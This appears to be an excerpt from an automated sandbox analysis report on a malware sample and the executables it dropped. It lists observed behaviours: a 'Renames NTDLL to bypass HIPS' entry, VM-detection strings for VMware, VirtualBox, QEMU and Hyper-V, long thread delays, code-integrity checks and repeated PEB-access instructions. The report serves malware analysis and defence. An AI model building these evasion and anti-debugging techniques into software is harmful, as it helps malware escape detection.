Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Renames NTDLL to bypass HIPS

Show sources

Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe TID: 648

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EA8A.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 557

Jump to behavior

Source: C:\Windows\explorer.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\9C1A.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\CD0D.exe

Code function: 22_2_6A946B90 rdtsc

22_2_6A946B90

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: explorer.exe, 00000004.00000000.304505537.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000004.00000000.304505537.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: B82B.exe, 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp	Binary or memory string: !noValueButYesKeySC:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: B82B.exe, 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp	Binary or memory string: VMWAREESOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000004.00000000.291035195.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: B82B.exe, 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: B82B.exe, 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp	Binary or memory string: VMwareVBoxARun using valid operating system
Source: explorer.exe, 00000004.00000000.291035195.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: explorer.exe, 00000004.00000000.285419513.00000000048E0000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.304691629.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
Source: explorer.exe, 00000004.00000000.291035195.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
Source: explorer.exe, 00000004.00000000.304691629.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000004.00000000.288779454.00000000069DA000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD002
Source: B82B.exe, 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp	Binary or memory string: kernel32.dll/wine_get_unix_file_nameQEMU
Source: B82B.exe, 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: B82B.exe, 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp	Binary or memory string: InstallPathKC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\OC:\WINDOWS\system32\drivers\vmmouse.sysMC:\WINDOWS\system32\drivers\vmhgfs.sys
Source: C1B2.exe, 00000015.00000002.614812023.000000000156F000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Code function: 29_2_004040F0 RegCreateKeyExA,RegOpenKeyExA,GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,GetSystemMetrics,

29_2_004040F0

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Code function: 29_2_0041B9B2 FindFirstFileExW,

29_2_0041B9B2

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe

1_2_00427060

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 1_2_02E6D3E4 push dword ptr fs:[00000030h]	1_2_02E6D3E4
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 13_2_02C30042 push dword ptr fs:[00000030h]	13_2_02C30042
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94D294 mov eax, dword ptr fs:[00000030h]	22_2_6A94D294
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94D294 mov eax, dword ptr fs:[00000030h]	22_2_6A94D294
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94DA88 mov eax, dword ptr fs:[00000030h]	22_2_6A94DA88
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94DA88 mov eax, dword ptr fs:[00000030h]	22_2_6A94DA88
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9412BD mov esi, dword ptr fs:[00000030h]	22_2_6A9412BD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9412BD mov eax, dword ptr fs:[00000030h]	22_2_6A9412BD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9412BD mov eax, dword ptr fs:[00000030h]	22_2_6A9412BD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A911AA0 mov eax, dword ptr fs:[00000030h]	22_2_6A911AA0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A945AA0 mov eax, dword ptr fs:[00000030h]	22_2_6A945AA0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A945AA0 mov eax, dword ptr fs:[00000030h]	22_2_6A945AA0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9152A5 mov eax, dword ptr fs:[00000030h]	22_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9152A5 mov eax, dword ptr fs:[00000030h]	22_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9152A5 mov eax, dword ptr fs:[00000030h]	22_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9152A5 mov eax, dword ptr fs:[00000030h]	22_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9152A5 mov eax, dword ptr fs:[00000030h]	22_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8ADD mov eax, dword ptr fs:[00000030h]	22_2_6A9E8ADD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915AC0 mov eax, dword ptr fs:[00000030h]	22_2_6A915AC0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915AC0 mov eax, dword ptr fs:[00000030h]	22_2_6A915AC0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915AC0 mov eax, dword ptr fs:[00000030h]	22_2_6A915AC0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913ACA mov eax, dword ptr fs:[00000030h]	22_2_6A913ACA
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942ACB mov eax, dword ptr fs:[00000030h]	22_2_6A942ACB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942AE4 mov eax, dword ptr fs:[00000030h]	22_2_6A942AE4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915210 mov eax, dword ptr fs:[00000030h]	22_2_6A915210
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915210 mov ecx, dword ptr fs:[00000030h]	22_2_6A915210
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915210 mov eax, dword ptr fs:[00000030h]	22_2_6A915210
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915210 mov eax, dword ptr fs:[00000030h]	22_2_6A915210
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A933A1C mov eax, dword ptr fs:[00000030h]	22_2_6A933A1C
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A928A0A mov eax, dword ptr fs:[00000030h]	22_2_6A928A0A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A918239 mov eax, dword ptr fs:[00000030h]	22_2_6A918239
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A918239 mov eax, dword ptr fs:[00000030h]	22_2_6A918239
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A918239 mov eax, dword ptr fs:[00000030h]	22_2_6A918239
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A914A20 mov eax, dword ptr fs:[00000030h]	22_2_6A914A20
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A914A20 mov eax, dword ptr fs:[00000030h]	22_2_6A914A20
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A99EA20 mov eax, dword ptr fs:[00000030h]	22_2_6A99EA20
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A229 mov eax, dword ptr fs:[00000030h]	22_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A229 mov eax, dword ptr fs:[00000030h]	22_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A229 mov eax, dword ptr fs:[00000030h]	22_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A229 mov eax, dword ptr fs:[00000030h]	22_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A229 mov eax, dword ptr fs:[00000030h]	22_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A229 mov eax, dword ptr fs:[00000030h]	22_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A229 mov eax, dword ptr fs:[00000030h]	22_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A229 mov eax, dword ptr fs:[00000030h]	22_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A229 mov eax, dword ptr fs:[00000030h]	22_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A4257 mov eax, dword ptr fs:[00000030h]	22_2_6A9A4257
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912240 mov ecx, dword ptr fs:[00000030h]	22_2_6A912240
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912240 mov eax, dword ptr fs:[00000030h]	22_2_6A912240
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A919240 mov eax, dword ptr fs:[00000030h]	22_2_6A919240
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A919240 mov eax, dword ptr fs:[00000030h]	22_2_6A919240
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A919240 mov eax, dword ptr fs:[00000030h]	22_2_6A919240
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A919240 mov eax, dword ptr fs:[00000030h]	22_2_6A919240
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A4248 mov eax, dword ptr fs:[00000030h]	22_2_6A9A4248
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95927A mov eax, dword ptr fs:[00000030h]	22_2_6A95927A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CB260 mov eax, dword ptr fs:[00000030h]	22_2_6A9CB260
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CB260 mov eax, dword ptr fs:[00000030h]	22_2_6A9CB260
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8A62 mov eax, dword ptr fs:[00000030h]	22_2_6A9E8A62
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A914B94 mov edi, dword ptr fs:[00000030h]	22_2_6A914B94
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9BEB8A mov ecx, dword ptr fs:[00000030h]	22_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9BEB8A mov eax, dword ptr fs:[00000030h]	22_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9BEB8A mov eax, dword ptr fs:[00000030h]	22_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9BEB8A mov eax, dword ptr fs:[00000030h]	22_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D138A mov eax, dword ptr fs:[00000030h]	22_2_6A9D138A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E9BBE mov eax, dword ptr fs:[00000030h]	22_2_6A9E9BBE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8BB6 mov eax, dword ptr fs:[00000030h]	22_2_6A9E8BB6
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1BA8 mov eax, dword ptr fs:[00000030h]	22_2_6A9D1BA8
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944BAD mov eax, dword ptr fs:[00000030h]	22_2_6A944BAD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944BAD mov eax, dword ptr fs:[00000030h]	22_2_6A944BAD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944BAD mov eax, dword ptr fs:[00000030h]	22_2_6A944BAD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9953CA mov eax, dword ptr fs:[00000030h]	22_2_6A9953CA
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9953CA mov eax, dword ptr fs:[00000030h]	22_2_6A9953CA
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9123F6 mov eax, dword ptr fs:[00000030h]	22_2_6A9123F6
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A911BE9 mov eax, dword ptr fs:[00000030h]	22_2_6A911BE9
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93DBE9 mov eax, dword ptr fs:[00000030h]	22_2_6A93DBE9
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C23E3 mov ecx, dword ptr fs:[00000030h]	22_2_6A9C23E3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C23E3 mov ecx, dword ptr fs:[00000030h]	22_2_6A9C23E3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C23E3 mov eax, dword ptr fs:[00000030h]	22_2_6A9C23E3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D131B mov eax, dword ptr fs:[00000030h]	22_2_6A9D131B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309 mov eax, dword ptr fs:[00000030h]	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A4320 mov eax, dword ptr fs:[00000030h]	22_2_6A9A4320
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8B58 mov eax, dword ptr fs:[00000030h]	22_2_6A9E8B58
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A943B5A mov eax, dword ptr fs:[00000030h]	22_2_6A943B5A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A943B5A mov eax, dword ptr fs:[00000030h]	22_2_6A943B5A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A943B5A mov eax, dword ptr fs:[00000030h]	22_2_6A943B5A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A943B5A mov eax, dword ptr fs:[00000030h]	22_2_6A943B5A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91F340 mov eax, dword ptr fs:[00000030h]	22_2_6A91F340
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A943B7A mov eax, dword ptr fs:[00000030h]	22_2_6A943B7A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A943B7A mov eax, dword ptr fs:[00000030h]	22_2_6A943B7A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A6365 mov eax, dword ptr fs:[00000030h]	22_2_6A9A6365
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A6365 mov eax, dword ptr fs:[00000030h]	22_2_6A9A6365
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A6365 mov eax, dword ptr fs:[00000030h]	22_2_6A9A6365
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913880 mov eax, dword ptr fs:[00000030h]	22_2_6A913880
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913880 mov eax, dword ptr fs:[00000030h]	22_2_6A913880
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94F0BF mov ecx, dword ptr fs:[00000030h]	22_2_6A94F0BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94F0BF mov eax, dword ptr fs:[00000030h]	22_2_6A94F0BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94F0BF mov eax, dword ptr fs:[00000030h]	22_2_6A94F0BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9590AF mov eax, dword ptr fs:[00000030h]	22_2_6A9590AF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9228AE mov eax, dword ptr fs:[00000030h]	22_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9228AE mov eax, dword ptr fs:[00000030h]	22_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9228AE mov eax, dword ptr fs:[00000030h]	22_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9228AE mov ecx, dword ptr fs:[00000030h]	22_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9228AE mov eax, dword ptr fs:[00000030h]	22_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9228AE mov eax, dword ptr fs:[00000030h]	22_2_6A9228AE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9170C0 mov eax, dword ptr fs:[00000030h]	22_2_6A9170C0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9170C0 mov eax, dword ptr fs:[00000030h]	22_2_6A9170C0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9228FD mov eax, dword ptr fs:[00000030h]	22_2_6A9228FD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9228FD mov eax, dword ptr fs:[00000030h]	22_2_6A9228FD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9228FD mov eax, dword ptr fs:[00000030h]	22_2_6A9228FD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9140E1 mov eax, dword ptr fs:[00000030h]	22_2_6A9140E1
